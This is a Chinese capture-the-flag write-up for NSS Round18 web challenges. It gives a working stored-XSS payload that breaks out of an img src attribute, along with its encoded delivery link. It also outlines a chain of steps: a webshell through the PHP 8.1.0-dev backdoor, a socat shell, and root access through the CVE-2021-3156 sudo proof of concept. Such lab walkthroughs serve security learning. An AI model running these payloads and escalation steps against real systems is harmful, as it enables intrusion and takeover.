NSS Round18 WEB 题解

发布于 2024-03-17  87 次阅读


门酱想玩什么呢?:

启动界面的<head>标签里藏了提示

image-20240108134235722

hint="nssctfroundSpring.php"

//nssctfroundSpring.php
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
    if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
        $urlParts = parse_url($matches[0]);
        if ($urlParts !== false) {
            echo '<img class="content" src="' . $matches[0] . '">';
            //.......
        }
        //......
    }
    //......
}

后面能用的

看完视频会跳转king.php,这个页面就是一个xss的检查界面,需要把门酱想玩的游戏提供给他。

这里有检测,必须是来自本站的链接

打开评论区,看完所有评论就知道门酱想玩元梦之星,要给他一个官网(https://ymzx.qq.com),并且能让他访问。

可以发表评论,并且可以带一张图片,经过尝试可以发现后端对图片链接没有处理,而对文字做了处理。

image-20240108134926011

代码是这样的echo '<img class="content" src="' . $matches[0] . '">';

和上面的提示可以结合起来

空格作为分隔符,要有一个链接,图片链接部分以.png结尾,并且要分隔一个/png作为整个字符串的结尾

可以构造http://x/x.png"><script>alert(1);</script>.png /png

image-20240108135422149

image-20240108135433010

成功xss

最终payload:

http://x/x.png"><script>location.href="https://ymzx.qq.com/"</script>.png /png

image-20240108135620155

构造链接

http://localhost/words/?title=JUU1JTg1JTgzJUU2JUEyJUE2JUU0JUI5JThCJUU2JTk4JTlG&content=aHR0cCUzQSUyRiUyRnglMkZ4LnBuZyUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWYlM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFLnBuZyUyMCUyRnBuZw%3D%3D

给门酱

image-20240108135821810

拿到flag

Becomeroot

flag在/root里面,php版本为8.1.0-dev,这个版本有一个后门事件

image-20240109190710557

搜索hint可以拿到提示

image-20240109190722933

搜一下就知道,然后通过后门写shell

image-20240109191041907

蚁剑链接,然后提权

image-20240109191133993

弹个交互shell,我用的是socat

上传socat并给权限

image-20240109192513978

image-20240109192525220

提权用到的是CVE-2021-3156 sudo本地提权

涉及sudo版本

sudo 1.8.2-1.8.31p2

sudo 1.9.0-1.9.5p1

查看版本

image-20240109192547096

sudoedit -s Y如果需要输入密码则存在漏洞

image-20240109192610014

符合条件,可以直接用poc

https://github.com/CptGibbon/CVE-2021-3156

上传poc,解压(socat弹回shellphp会变得不可访问,需要先断开shell然后用蚁剑上传后再弹一次。原因应该是题目没有用apache2这种中间件而是直接php启动服务)

image-20240109193758160

image-20240109193455787

make然后./exploit,即可拿到flag

image-20240109193718231

已经有太多美好从身边流逝......
最后更新于 2024-03-17